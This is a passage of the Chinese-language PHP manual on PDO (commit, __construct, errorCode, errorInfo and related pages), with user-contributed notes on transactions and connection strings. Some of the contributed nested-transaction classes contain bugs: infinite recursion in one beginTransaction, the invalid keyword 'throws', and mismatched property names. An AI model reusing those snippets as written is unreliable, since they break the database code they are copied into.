参见

  • PDO::commit() - 提交一个事务
  • PDO::rollBack() - 回滚事务
  • 事务与自动提交

User Contributed Notes

Sbastien 18-Sep-2021 12:34
A way to use transaction and prepared statement to speed-up bulk INSERTs :

<?php

// ...

$insert = $pdo->prepare('INSERT INTO table (c1, c2, c3) VALUES (?, ?, ?)');
$bulk = 3_000; // To adjust according to your data/system
$rows = 0;

$pdo->beginTransaction();
while ($entry = fgetcsv($fp)) {
    $insert->execute($entry);
    if (++$rows % $bulk === 0) {
        $pdo->commit();
        $pdo->beginTransaction();
    }
}
if ($pdo->inTransaction()) { // Remaining rows insertion
    $pdo->commit();
}
sasi dot viragelet at gmail dot com 17-Nov-2016 09:29
When transaction gets your enemy:

try {

$pdo->beginTransaction();

// ... whatever db actions you have and then:

$sql_insert = 'INSERT INTO a (a_id, a_name, a_date)
  VALUES (:a_id, :a_name CURRENT_TIMESTAMP)';

  $stmt = $pdo->prepare($sql_insert);

  $stmt->bindValue(':_id', $id);
  $stmt->bindValue(':a_name', $name);

  $stmt->execute();

  $pdo->commit();

} catch (\PDOException $e) {

  $pdo->rollBack();

  http_response_code(500);
  header("Content-type: text/plain");
  echo $e;
  exit();

}

Notice the sytax error? There's a missing comma that just slips through every gate of surveillance:

"...UES (:a_id, :a_name CURR..." :: between the to be binded value and current timestamp command. The missing comma will not generate any error no syntax error, no database error. Though this record will never or partially make it. This will just silently fail. The story gets rough if you build your other dependencies on the transactions unmovable foot-stones of trust.

Just imagine you have some basic records in your transaction that you really wanna ensure ends up correctly in your db. And these records have a foreign constraint relation with another record. (That of course if you'd include in the transaction would throw you a big red error(-for who don't get it: transaction will first attempt to write everything into a temporary place, where it will get checked before everything gets into its permanent place, so constraints cannot be checked for something that don't exist yet.)) So you have a constraint that's based on the trust PDO will throw an error if something gets screwed, so what, you'll just place that insertion after the commit was successful. (Without any doublecheck.)

What happens you will get some partial records in your database without a relation that just might be important. You will that way be able to build up very sophisticated strange behaviours in your application. So pay attention!
cristian at crishk dot com 01-Oct-2016 10:12
OK I'm finding a solution for "NESTED" transactions in MySQL, and as you know in the MySQL documentation says that it's not possible to have transactions within transactions. I was trying to use the Database class propossed here in http://php.net/manual/en/pdo.begintransaction.php but unfortunately that's wrong for many things related to the control flow that I have been solved with the following code (LOOK THE EXAMPLE AT THE END, CarOwner)

<?php

class TransactionController extends \\PDO {
    public static $warn_rollback_was_thrown = false;
    public static $transaction_rollbacked = false;
    public function __construct()
    {
        parent :: __construct( ... connection info ... );
    }
    public static $nest = 0;
    public function reset()
    {
        TransactionController :: $transaction_rollbacked = false;
        TransactionController :: $warn_rollback_was_thrown = false;
        TransactionController :: $nest = 0;
    }
    function beginTransaction()
    {
        $result = null;
        if (TransactionController :: $nest == 0) {
            $this->reset();
            $result = $this->beginTransaction();
        }
        TransactionController :: $nest++;
        return $result;
    }

    public function commit()
    {

        $result = null;

        if (TransactionController :: $nest == 0 &&
                !TransactionController :: $transaction_rollbacked &&
                !TransactionController :: $warn_rollback_was_thrown) {
                    $result = parent :: commit();
                }
                TransactionController :: $nest--;
                return $result;
    }

    public function rollback()
    {
        $result = null;
        if (TransactionController :: $nest >= 0) {
            if (TransactionController :: $nest == 0) {
                $result = parent :: rollback();
                TransactionController :: $transaction_rollbacked = true;
            }
            else {
                TransactionController  :: $warn_rollback_was_thrown = true;
            }
        }
        TransactionController :: $nest--;
        return $result;
    }

    public function transactionFailed()
    {
        return TransactionController :: $warn_rollback_was_thrown === true;
    }
    // to force rollback you can only do it from $nest = 0
    public function forceRollback()
    {
        if (TransactionController :: $nest === 0) {
            throws new \PDOException();
        }
    }
}

?>
kesler dot alwin at gmail dot com 05-Apr-2016 01:35
please fix in answer #116669:

    $this->exec('ROLLBACK TO trans'.$this->transactionCounter + 1);

with

    $this->exec('ROLLBACK TO trans'.($this->transactionCounter + 1));
steve at fancyguy dot com 08-Feb-2015 08:34
The nested transaction example here is great, but it's missing a key piece of the puzzle.  Commits will commit everything, I only wanted commits to actually commit when the outermost commit has been completed.  This can be done in InnoDB with savepoints.

<?php

class Database extends PDO
{

    protected $transactionCount = 0;

    public function beginTransaction()
    {
        if (!$this->transactionCounter++) {
            return parent::beginTransaction();
        }
        $this->exec('SAVEPOINT trans'.$this->transactionCounter);
        return $this->transactionCounter >= 0;
    }

    public function commit()
    {
        if (!--$this->transactionCounter) {
            return parent::commit();
        }
        return $this->transactionCounter >= 0;
    }

    public function rollback()
    {
        if (--$this->transactionCounter) {
            $this->exec('ROLLBACK TO trans'.$this->transactionCounter + 1);
            return true;
        }
        return parent::rollback();
    }

}
Steel Brain 03-Dec-2014 12:39
The example is misleading, Typically data definition language clauses (DDL) will trigger the database engine to automatically commit. It means that if you drop a table, that query will be executed regardless of the transaction.
Ref-Mysql:
    http://dev.mysql.com/doc/refman/5.0/en/implicit-commit.html
eddi13 28-Nov-2014 09:16
after TRUNCATE TABLE `table`  just as DELETE FROM `table`, so if whole table was deleted, aborts the transaction. And the rollback will not be passible.
arth dot inbox at mail dot ru 07-Apr-2014 08:53
Strange behavior with pdo_firebird driver:

<?php
$dbh = new PDO ('','','',array( PDO :: ATTR_PERSISTENT=>true));
$dbh->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION );
$dbh -> exec ( "select 1;" ); //should be autocommitted
try
{
   //$dbh->commit/rollback here fixes the issue;
   $dbh -> beginTransaction (); // <- fails "with there is already an active transaction"
   $dbh -> exec ( "select 1;" );
   $dbh -> commit ();
}
catch ( Exception $e )
{
  $dbh -> rollBack ();
 }
?>
mtjo62 at gmail dot com 03-Nov-2013 11:22
For the PDO driver for the  Firebird server, you have to explicitly disable autocommit to initiate the  transaction as well as explicitly enable autocommit to commit it.

$dbh->setAttribute( PDO::ATTR_AUTOCOMMIT, 0 );
$dbh->beginTransaction();

/** Query block */

$dbh->commit();
$dbh->setAttribute( PDO::ATTR_AUTOCOMMIT, 1 );
bitluni 16-Aug-2012 09:27
You can generate problems with nested beginTransaction and commit calls.
example:

beginTransaction()
do imprortant stuff
call method
    beginTransaction()
    basic stuff 1
    basic stuff 2
    commit()
do most important stuff
commit()

Won't work and is dangerous since you could close your transaction too early with the nested commit().

There is no need to mess you code and pass like a bool which indicate if transaction is already running. You could just overload the beginTransaction() and commit() in your PDO wrapper like this:

<?php
class Database extends \\PDO
{
    protected $transactionCounter = 0;
    function beginTransaction()
    {
        if(!$this->transactionCounter++)
            return parent::beginTransaction();
       return $this->transactionCounter >= 0;
    }

    function commit()
    {
       if(!--$this->transactionCounter)
           return parent::commit();
       return $this->transactionCounter >= 0;
    }

    function rollback()
    {
        if($this->transactionCounter >= 0)
        {
            $this->transactionCounter = 0;
            return parent::rollback();
        }
        $this->transactionCounter = 0;
        return false;
    }
//...
}
?>
ludwig dot green at gmail dot com 08-Jun-2010 09:23
be aware that you also can not use TRUNCATE TABLE as this statement will trigger a commit just like CREATE TABLE or DROP TABLE

it is best to only use SELECT, UPDATE and DELETE within a transaction, all other statements may cause commits thus breaking the atomicity of your transactions and their ability to rollback

obviously you can use DELETE FROM <table> instead of TRUNCATE TABLE but be aware that there are differences between both statements, for example TRUNCATE resets the auto_increment value while DELETE does not.
geompse at gmail dot com 28-Dec-2009 01:58
With Oracle, any structure statement will do an implicit commit.

So : ALTER TABLE "my_table" DROP COLUMN "my_column";
Can't be rolled back !

Hope this will save time for others
rjohnson at intepro dot us 11-Apr-2009 02:27
If you are using PDO::SQLITE and need to support a high level of concurrency with locking, try preparing your statements prior to calling beginTransaction() and you may also need to call closeCursor() on SELECT statements to prevent the driver from thinking that there are open transactions.

Here's an example (Windows, PHP version 5.2.8).  We test this by opening 2 browser tabs to this script and running them at the same time.  If we put the beginTransaction before the prepare, the second browser tab would hit the catch block and the commit would throw another PDOException indicating that transactions were still open.

<?php
$conn = new PDO('sqlite:C:\path\to\file.sqlite');
$stmt = $conn->prepare('INSERT INTO my_table(my_id, my_value) VALUES(?, ?)');
$waiting = true; // Set a loop condition to test for
while($waiting) {
    try {
        $conn->beginTransaction();
        for($i=0; $i < 10; $i++) {
            $stmt->bindValue(1, $i, PDO::PARAM_INT);
            $stmt->bindValue(2, 'TEST', PDO::PARAM_STR);
            $stmt->execute();
            sleep(1);
        }
        $conn->commit();
        $waiting = false;
    } catch(PDOException $e) {
        if(stripos($e->getMessage(), 'DATABASE IS LOCKED') !== false) {
            // This should be specific to SQLite, sleep for 0.25 seconds
            // and try again.  We do have to commit the open transaction first though
            $conn->commit();
            usleep(250000);
        } else {
            $conn->rollBack();
            throw $e;
        }
    }
}

?>
dbeecher at tekops dot com 20-Aug-2008 09:21
// If you need to set an ISOLATION level or LOCK MODE it needs to be done BEFORE you make the BeginTransaction() call...
//
//  **note** you should always check result codes on operations and do error handling.  This sample code
//  assumes all the calls work so that the order of operations is accurate and easy to see
//
//  THIS IS using the PECL PDO::INFORMIX module, running on fedora core 6, php 5.2.4
//
//    This is the correct way to address an informix -243 error (could not position within table) when there
//    is no ISAM error indicating a table corruption.  A -243 can happen (if the table/indexes, etc., are ok)
//    if a row is locked.  The code below sets the LOCK MODE to wait 2 minutes (120 seconds) before
//    giving up.  In this example you get READ COMMITTED rows, if you don't need read committed
//    but just need to get whatever data is there (ignoring locked rows, etc.) instead of
//    "SET LOCK MODE TO WAIT 120" you could "SET ISOLATION TO DIRTY READ".
//
//    In informix you *must* manage how you do reads because it is very easy to trigger a
//    lock table overflow (which downs the instance) if you have lots of rows, are using joins
//    and have many updates happening.
//

// e.g.,

$sql= "SELECT FIRST 50 * FROM mytable WHERE mystuff=1 ORDER BY myid";                    /* define SQL query */

try                                                                                /* create an exception handler */
    {
    $dbh = new PDO("informix:host=......");

    if ($dbh)    /* did we connect? */
        {
        $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $dbh->query("SET LOCK MODE TO WAIT 120")

        # ----------------
        # open transaction cursor
        # ----------------
        if    ( $dbh->beginTransaction() )                                         # explicitly open cursor
            {
            try    /* open exception handler */
                {
                $stmt = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL));

                $stmt->execute();

                while ($row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_NEXT))
                    {
                    $data = $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\t" . $row[3] . "\t" . $row[4] . "\t" . $row[5] . "\t" . $row[6] . "\t" . $row[7] . "\n" . $row[8] ;
                    //print $data;
                    print_r($row);
                    };

                $stmt = null;
                }
            catch (PDOException $e)
                {
                print "Query Failed!\n\n";

                print "DBA FAIL:" . $e->getMessage();
                };

            $dbh->rollback();                                                       # abort any changes (ie. $dbh->commit()
            $dbh = null;                                                            # close connection
            }
        else
            {
            # we should never get here, it should go to the exception handler
            print "Unable to establish connection...\n\n";
            };
        };
    }
catch (Exception $e)
    {
    $dbh->rollback();
    echo "Failed: " . $e->getMessage();
    };
drm at melp dot nl 11-Feb-2008 06:37
In response to "Anonymous / 20-Dec-2007 03:04"

You could also extend the PDO class and hold a private flag to check if a transaction is already started.

class MyPDO extends PDO {
   protected $hasActiveTransaction = false;

   function beginTransaction () {
      if ( $this->hasActiveTransaction ) {
         return false;
      } else {
         $this->hasActiveTransaction = parent::beginTransaction ();
         return $this->hasActiveTransaction;
      }
   }

   function commit () {
      parent::commit ();
      $this->hasActiveTransaction = false;
   }

   function rollback () {
      parent::rollback ();
      $this->hasActiveTransaction = false;
   }

}
Anonymous 20-Dec-2007 07:04
beginTransaction will through a PDOException if you execute it while a PDO transaction is already active.  Additionally the PDO engine doesn't seem to provide any way of determining if there is a transaction "in flight" so if you might be calling a function from within another function that starts a transaction you'll have to wrap the beginTransaction () call in a try .. catch block.


提交一个事务

  • ? PDO::beginTransaction
  • PDO::__construct ?
  • PHP Manual
  • PDO
  • 提交一个事务

PDO::commit

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDO::commit — 提交一个事务

说明

public PDO::commit(): bool

提交一个事务，数据库连接返回到自动提交模式直到下次调用 PDO::beginTransaction() 开始一个新的事务为止。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

如果没有活动中的事务，则抛出 PDOException。

Note: PDO::ATTR_ERRMODE 属性不是 PDO::ERRMODE_EXCEPTION 时会抛出一个异常。

示例

Example #1 提交一个基础事务

<?php
/* 开始一个事务，关闭自动提交 */
$dbh->beginTransaction();

/* 在全有或全无的基础上插入多行记录（要么全部插入，要么全部不插入） */
$sql = 'INSERT INTO fruit
(name, colour, calories)
VALUES (?, ?, ?)';

$sth = $dbh->prepare($sql);

foreach ($fruits as $fruit) {
$sth->execute(array(
$fruit->name,
$fruit->colour,
$fruit->calories,
));
}

/* 提交更改 */
$dbh->commit();

/* 现在数据库连接返回到自动提交模式 */
?>

Example #2 提交一个DDL事务

<?php
/* 开始一个事务，关闭自动提交 */
$dbh->beginTransaction();

/* Change the database schema */
$sth = $dbh->exec("DROP TABLE fruit");

/* 更改数据库架构 */
$dbh->commit();

/* 现在数据库连接返回到自动提交模式 */
?>

Note: 并不是所有数据库都允许使用DDL语句进行事务操作：有些会产生错误，而其他一些（包括MySQL）会在遇到第一个DDL语句后就自动提交事务。

参见

  • PDO::beginTransaction() - 启动一个事务
  • PDO::rollBack() - 回滚事务
  • 事务和自动提交

User Contributed Notes

re_action 03-Mar-2015 12:52
Keep in mind this bug: https://bugs.php.net/bug.php?id=66528

you could not rely on commit() return value while using MySql


创建一个表示数据库连接的 PDO 实例

  • ? PDO::commit
  • PDO::errorCode ?
  • PHP Manual
  • PDO
  • 创建一个表示数据库连接的 PDO 实例

PDO::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDO::__construct — 创建一个表示数据库连接的 PDO 实例

说明

public PDO::__construct(
string $dsn,
?string $username = null,
?string $password = null,
?array $options = null
)

创建一个表示连接到请求数据库的数据库连接 PDO 实例。

参数

dsn

数据源名称或叫做 DSN，包含了请求连接到数据库的信息。

通常，一个 DSN 由 PDO 驱动名、紧随其后的冒号、以及具体 PDO 驱动的连接语法组成。更深入的信息能从 PDO 具体驱动文档找到。

dsn 参数支持三种不同的方式 创建一个数据库连接：

驱动程序调用

dsn 包含完整的DSN。

URI invocation

dsn 由 uri: 后跟 URI 组成，该 URI 包含定义 DSN 字符串的文件位置。URI 可以指定本地文件或远程 URL。

uri:file:///path/to/dsnfile

Aliasing

dsn 由映射到 php.ini 中定义 DSN 字符串的 pdo.dsn.name 的 name 名组成。

Note:

别名必须得在 php.ini 中定义了，不能是在 .htaccess 或 httpd.conf 中 。

username

DSN字符串中的用户名。对于某些PDO驱动，此参数为可选项。

password

DSN字符串中的密码。对于某些PDO驱动，此参数为可选项。

options

一个具体驱动的连接选项的键=>值数组。

错误／异常

如果试图连接到请求的数据库失败，无论当前设置了哪个 PDO::ATTR_ERRMODE，PDO::__construct() 抛出 PDOException。

示例

Example #1 通过驱动程序调用创建 PDO 实例

<?php
/* Connect to a MySQL database using driver invocation */
$dsn = 'mysql:dbname=testdb;host=127.0.0.1';
$user = 'dbuser';
$password = 'dbpass';

$dbh = new PDO($dsn, $user, $password);

?>

Example #2 通过 URI 调用创建 PDO 实例

The following example assumes that the file /usr/local/dbconnect exists with file permissions that enable PHP to read the file. The file contains the PDO DSN to connect to a DB2 database through the PDO_ODBC driver:

odbc:DSN=SAMPLE;UID=john;PWD=mypass

PHP 脚本可以简单的传递指向文件 URI 的 uri: 参数来创建数据库连接：

<?php
/* Connect to an ODBC database using driver invocation */
$dsn = 'uri:file:///usr/local/dbconnect';
$user = '';
$password = '';

$dbh = new PDO($dsn, $user, $password);

?>

Example #3 使用别名创建一个PDO实例

The following example assumes that php.ini contains the following entry to enable a connection to a MySQL database using only the alias mydb:

[PDO]
pdo.dsn.mydb="mysql:dbname=testdb;host=localhost"
<?php
/* 使用别名连接到 ODBC 数据库 */
$dsn = 'mydb';
$user = '';
$password = '';

$dbh = new PDO($dsn, $user, $password);

?>

User Contributed Notes

max1josef 12-May-2023 12:19
SQLite3: by default, the database file is created on opening if it does not exist (PDO::SQLITE_OPEN_CREATE).

<?php
$dsn = 'sqlite:D:\Databases\non_existing.db';   // file does not exist

try {
    $dbh = new PDO($dsn);
}
catch(PDOException $e) {
    print $e->getMessage();
}
?>

No Exception is thrown, instead file "non_existing.db" will be created. To avoid this, use:

<?php
$dsn = 'sqlite:D:\Databases\non_existing.db';
$options = [
    PDO::SQLITE_ATTR_OPEN_FLAGS => PDO::SQLITE_OPEN_READWRITE,
];

try {
    $dbh = new PDO('sqlite:D:\Databases\non_existing.db', null, null, $options);
}
catch(PDOException $e) {
    print $e->getMessage();
}
?>
This will ouput:
SQLSTATE[HY000] [14] unable to open database file

If you want to open the database read-only, use PDO::SQLITE_OPEN_READONLY.
theking2 at king dot ma 30-Jan-2023 10:27
A generic pattern to connect to a mariadb or mysql database using a settings file

<?php
$_SETTINGS = parse_ini_file('./settings.ini', true);

$db = new \PDO(
  "mysql:hostname={$_SETTINGS['db']['host']};dbname={$_SETTINGS['db']['name']}",
  $_SETTINGS['db']['user'],
  $_SETTINGS['db']['pass'],
  [
    \PDO::ATTR_DEFAULT_FETCH_MODE => \PDO::FETCH_ASSOC,
    \PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8mb4'"
  ]
);
?>
You might not need the options depicted here but I find them convenient.

Works with a settings.ini file containing for instance:
[db]
host = "localhost"
name = "dbname"
user = "dbuser"
pass = "dbpassword"
Michal Stefanak 13-Dec-2022 12:26
If you override PDO with own class and you want to implement alias from php.ini, you have to get it with `get_cfg_var` instead of `ini_get`.

<?php
class PDO extends \PDO
{
    public function __construct(string $dsn, ?string $username = null, ?string $password = null, ?array $options = null)
    {
        //alias
        if (!str_contains($dsn, ':')) {
            $dsn = get_cfg_var('pdo.dsn.' . $dsn);
            if (!$dsn) {
                throw new PDOException('Argument #1 ($dsn) must be a valid data source name');
            }
        }

        // your additional logic

        parent::__construct($dsn, $username, $password, $options);
    }
}
?>
453034559 at qq dot com 25-Jan-2022 02:25
// set DEFAULT_FETCH_MODE
<?php
    try {
        $p = new PDO("mysql:host=$db_host;port=$db_port;dbname=$db_dbname", $db_user, $db_pass,array(
            PDO::ATTR_DEFAULT_FETCH_MODE =>PDO::FETCH_ASSOC,
            PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8', //after php5.3.6
        ));
        //$p->exec('SET NAMES utf8');
    } catch (PDOException $e) {
        print "Error!: " . $e->getMessage() . "<br/>";
        die();
    }
?>
Aymeric S 20-Aug-2020 01:34
When trying to connect to a local database, it seems "uri:file:///" is no longer needed. Just write the PDO pilot name followed by the absolute path of the file.
Example : sqlite:C:\VirtualHosts\phpliteadmin\dbs\surveillance_logeas.s3DB
Francesco Montanari 27-Apr-2020 08:16
Most of the information in the comment here is outdated or wrong.

You do can use host=localhost to connect via socket, which is faster than TCP, so setting 127.0.0.1 is a performance loss.

To use proper utf you should use utf8mb4, for example:

$db = new PDO('mysql:host=' . DATABASE_HOST . ';dbname='. DATABASE_NAME .';charset=utf8mb4', DATABASE_USER, DATABASE_PASSWORD);
srycroft at excelsystems dot com 15-Jul-2016 05:37
For IBM i / iSeries / AS400 DB2 connections, you can specify system naming and library lists for php_pdo modules > 1.3.3-sg2

<?php
   $pdo = new PDO(
     'ibm:' . $host,
     $user,
     $password,
     array(
       PDO::I5_ATTR_DBC_SYS_NAMING => true,
       PDO::I5_ATTR_DBC_LIBL => "QGPL QSYS"
     )
   );
?>

See http://yips.idevcloud.com/wiki/index.php/XMLSERVICE/PHPPDOChangeLog
olivernybroe at gmail dot com 16-Apr-2016 09:05
The PDO connection is case-sensitive, this means that you cannot write
`$PDO = new PDO("MySQL:DBName=dbname;host=localhost");`
You would have to write it
`$PDO = new PDO("mysql:dbname=dbname;host=localhost");`

The difference here is that `mysql` and `dbname` is with all lower-case.

Some IDE's like PHPStorm will show a `TYPO ERROR`, at `dbname` if it's written with lower-case only, this is just to be ignored and have been reported to PHPStorm for them to fix. (Currrent version 10.0.2)
ohcc at 163 dot com 23-Nov-2015 05:37
You will get a fatal error if you don't catch the exception threw by PDO when it fails to connect to the database server like this.

Fatal error: in xxx.php on line xx

This error neither can be handled by error handlers nor can it be erased by the @ sign, which can make your script uncontrollable.

<?php
    $db = new pdo('mysql:host=127.0.0.1;port=3306;dbname=mysql;charset=utf8','user','password',array(
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    ));
?>

You should always try ... catch ...

<?php
    try{
    $db = new pdo('mysql:host=127.0.0.1;port=3306;dbname=mysql;charset=utf8','user','password',array(
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    ));
    }catch(PDOException $pe){
        echo $pe->getMessage();
    }
?>
daviddlavier at gmail dot com 09-Nov-2015 12:43
I'd like to point out that in PHP 7.0 in the dsn parameter you can't use 'host=localhost' to solve this you can use 'host=127.0.0.1' instead.
berk0081 at umn dot edu 16-Nov-2014 01:34
Although not explicitly stated, parameters in the PDO $dsn string may be case-sensitive on some platforms or drivers.

<?php
// The dbname will not be parsed with incorrect casing:
$pdo = new PDO("mysql:host=hostname;DBName=database", "user", "password");

// The correct dbname is lowercase, as displayed in the manual:
$pdo = new PDO("mysql:host=hostname;dbname=database", "user", "password");
?>
Kiipa at live dot com 19-Oct-2013 06:46
To get UTF-8 charset you can specify that in the DSN.

$link = new PDO("mysql:host=localhost;dbname=DB;charset=UTF8");
Anonymous 29-May-2013 05:30
Sqlite:

<?php
try{
    $pdo = new PDO('sqlite:example.db');
}catch (PDOException $e){
     die ('DB Error');
}
?>

If 'example.db' does not exist, no exception is thrown but the file 'example.db' is created.
piotrekkr at o2 dot pl 15-Sep-2010 12:19
To connect throught unix socket you need to use
<?php
$dsn = 'mysql:dbname=testdb;unix_socket=/path/to/socket';
?>

You musn't specify host when using socket.
Victor T. 20-Feb-2010 09:34
If you use the UTF-8 encoding, you have to use the fourth parameter :

<?php
$db = new PDO('mysql:host=myhost;dbname=mydb', 'login', 'password', array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\''));
?>
subme at interia dot pl 25-Nov-2008 02:03
To specify a database connection port use the following DSN string

<?php
$dsn = 'mysql:dbname=testdb;host=127.0.0.1;port=3333';
?>


获取跟数据库句柄上一次操作相关的 SQLSTATE

  • ? PDO::__construct
  • PDO::errorInfo ?
  • PHP Manual
  • PDO
  • 获取跟数据库句柄上一次操作相关的 SQLSTATE

PDO::errorCode

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDO::errorCode — 获取跟数据库句柄上一次操作相关的 SQLSTATE

说明

public PDO::errorCode(): ?string

参数

此函数没有参数。

返回值

返回一个 SQLSTATE，一个由 5 个字母或数字组成的在 ANSI SQL 标准中定义的标识符。 简要地说，一个 SQLSTATE 由前面两个字符的类值和后面三个字符的子类值组成。 A class value of 01 indicates a warning and is accompanied by a return code of SQL_SUCCESS_WITH_INFO. Class values other than '01', except for the class 'IM', indicate an error. The class 'IM' is specific to warnings and errors that derive from the implementation of PDO (or perhaps ODBC, if you're using the ODBC driver) itself. The subclass value '000' in any class indicates that there is no subclass for that SQLSTATE.

PDO::errorCode() 仅检索直接在数据库句柄上操作执行的错误代码。如果通过 PDO::prepare() 或 PDO::query() 创建的 PDOStatement 对象并且在 statement 句柄上调用错误，PDO::errorCode() 将不会反映该错误。必须在特定 statement 句柄上调用 PDOStatement::errorCode() 返回操作执行的错误代码。

如果数据库句柄没有进行操作，则返回 null 。

示例

Example #1 取得一个 SQLSTATE 码

<?php
/* 引发一个错误 -- BONES 数据表不存在 */
$dbh->exec("INSERT INTO bones(skull) VALUES ('lucy')");

echo "\nPDO::errorCode(): ", $dbh->errorCode();
?>

以上示例会输出：

PDO::errorCode(): 42S02

参见

  • PDO::errorInfo() - Fetch extended error information associated with the last operation on the database handle
  • PDOStatement::errorCode() - 获取跟上一次语句句柄操作相关的 SQLSTATE
  • PDOStatement::errorInfo() - 获取跟上一次语句句柄操作相关的扩展错误信息

User Contributed Notes

fractalf 28-Apr-2023 08:17
List of PostgreSQL error codes:
https://www.postgresql.org/docs/current/errcodes-appendix.html
runrioter at gmail dot com 14-Dec-2014 03:51
This reading says that "Returns NULL if no operation has been run on the database handle".

When I tested it based on pdo-mysql, I got 00000, not NULL!
Matthias Leuffen 04-Dec-2005 04:36
Hi,

List containing all SQL-92 SQLSTATE Return Codes:
http://www.unix.org.ua/orelly/java-ent/jenut/ch08_06.htm

Use the following Code to let PDO throw Exceptions (PDOException) on Error.

<?PHP
$pdo = new PDO (whatever);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
try {
    $pdo->exec ("QUERY WITH SYNTAX ERROR");
} catch (PDOException $e) {
    if ($e->getCode() == '2A000')
        echo "Syntax Error: ".$e->getMessage();
}
?>

Bye,
  Matthias


Fetch extended error information associated with the last operation on the database handle

  • ? PDO::errorCode
  • PDO::exec ?
  • PHP Manual
  • PDO
  • Fetch extended error information associated with the last operation on the database handle

PDO::errorInfo

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDO::errorInfo — Fetch extended error information associated with the last operation on the database handle

说明

public PDO::errorInfo(): array

参数

此函数没有参数。

返回值

PDO::errorInfo() returns an array of error information about the last operation performed by this database handle. The array consists of at least the following fields:

Element | Information
0 | SQLSTATE error code (a five characters alphanumeric identifier defined in the ANSI SQL standard).
1 | Driver-specific error code.
2 | Driver-specific error message.

Note:

If the SQLSTATE error code is not set or there is no driver-specific error, the elements following element 0 will be set to null.

PDO::errorInfo() only retrieves error information for operations performed directly on the database handle. If you create a PDOStatement object through PDO::prepare() or PDO::query() and invoke an error on the statement handle, PDO::errorInfo() will not reflect the error from the statement handle. You must call PDOStatement::errorInfo() to return the error information for an operation performed on a particular statement handle.

示例

Example #1 Displaying errorInfo() fields for a PDO_ODBC connection to a DB2 database

<?php
/* Provoke an error -- bogus SQL syntax */
$stmt = $dbh->prepare('bogus sql');
if (!$stmt) {
echo "\nPDO::errorInfo():\n";
print_r($dbh->errorInfo());
}
?>

以上示例会输出：

PDO::errorInfo():
Array
(
    [0] => HY000
    [1] => 1
    [2] => near "bogus": syntax error
)

参见

  • PDO::errorCode() - 获取跟数据库句柄上一次操作相关的 SQLSTATE
  • PDOStatement::errorCode() - 获取跟上一次语句句柄操作相关的 SQLSTATE
  • PDOStatement::errorInfo() - 获取跟上一次语句句柄操作相关的扩展错误信息

User Contributed Notes

alagar86 at gmail dot com 09-Jan-2011 01:29
Please note : that this example won't work if PDO::ATTR_EMULATE_PREPARES is true.

You should set it to false

<?php
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES,false);
$stmt = $dbh->prepare('bogus sql');
if (!$stmt) {
    echo "\nPDO::errorInfo():\n";
    print_r($dbh->errorInfo());
}
?>
mazen at mindcraftinc dot com 23-Sep-2008 11:43
Some PDO drivers return a larger array. For example, the SQL Server driver returns 5 values.

For example:
<?php
$numRows = $db->exec("DELETE FROM [TableName] WHERE ID between 6 and 17");
print_r($db->errorInfo());
?>

Result:

Array
(
    [0] => 00000
    [1] => 0
    [2] => (null) [0] (severity 0) []
    [3] => 0
    [4] => 0
)
quickshiftin at gmail dot com 02-Jun-2007 08:29
here are the error codes for sqlite, straight from their site:

The error codes for SQLite version 3 are unchanged from version 2. They are as follows:
#define SQLITE_OK           0   /* Successful result */
#define SQLITE_ERROR        1   /* SQL error or missing database */
#define SQLITE_INTERNAL     2   /* An internal logic error in SQLite */
#define SQLITE_PERM         3   /* Access permission denied */
#define SQLITE_ABORT        4   /* Callback routine requested an abort */
#define SQLITE_BUSY         5   /* The database file is locked */
#define SQLITE_LOCKED       6   /* A table in the database is locked */
#define SQLITE_NOMEM        7   /* A malloc() failed */
#define SQLITE_READONLY     8   /* Attempt to write a readonly database */
#define SQLITE_INTERRUPT    9   /* Operation terminated by sqlite_interrupt() */
#define SQLITE_IOERR       10   /* Some kind of disk I/O error occurred */
#define SQLITE_CORRUPT     11   /* The database disk image is malformed */
#define SQLITE_NOTFOUND    12   /* (Internal Only) Table or record not found */
#define SQLITE_FULL        13   /* Insertion failed because database is full */
#define SQLITE_CANTOPEN    14   /* Unable to open the database file */
#define SQLITE_PROTOCOL    15   /* Database lock protocol error */
#define SQLITE_EMPTY       16   /* (Internal Only) Database table is empty */
#define SQLITE_SCHEMA      17   /* The database schema changed */
#define SQLITE_TOOBIG      18   /* Too much data for one row of a table */
#define SQLITE_CONSTRAINT  19   /* Abort due to contraint violation */
#define SQLITE_MISMATCH    20   /* Data type mismatch */
#define SQLITE_MISUSE      21   /* Library used incorrectly */
#define SQLITE_NOLFS       22   /* Uses OS features not supported on host */
#define SQLITE_AUTH        23   /* Authorization denied */
#define SQLITE_ROW         100  /* sqlite_step() has another row ready */
#define SQLITE_DONE        101  /* sqlite_step() has finished executing */


执行 SQL 语句，并返回受影响的行数

  • ? PDO::errorInfo
  • PDO::getAttribute ?
  • PHP Manual
  • PDO
  • 执行 SQL 语句，并返回受影响的行数

PDO::exec

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDO::exec — 执行 SQL 语句，并返回受影响的行数

说明

public PDO::exec(string $statement): int|false

PDO::exec() 在单独的函数调用中执行 SQL 语句，返回受此语句影响的行数。

PDO::exec() 不会从 SELECT 语句中返回结果。对于在程序中只需要发出一次的 SELECT 语句，可以考虑使用
PDO::query()。对于需要发出多次的语句，可用 PDO::prepare() 来预处理
PDOStatement 对象并用 PDOStatement::execute() 发出语句。

参数

statement

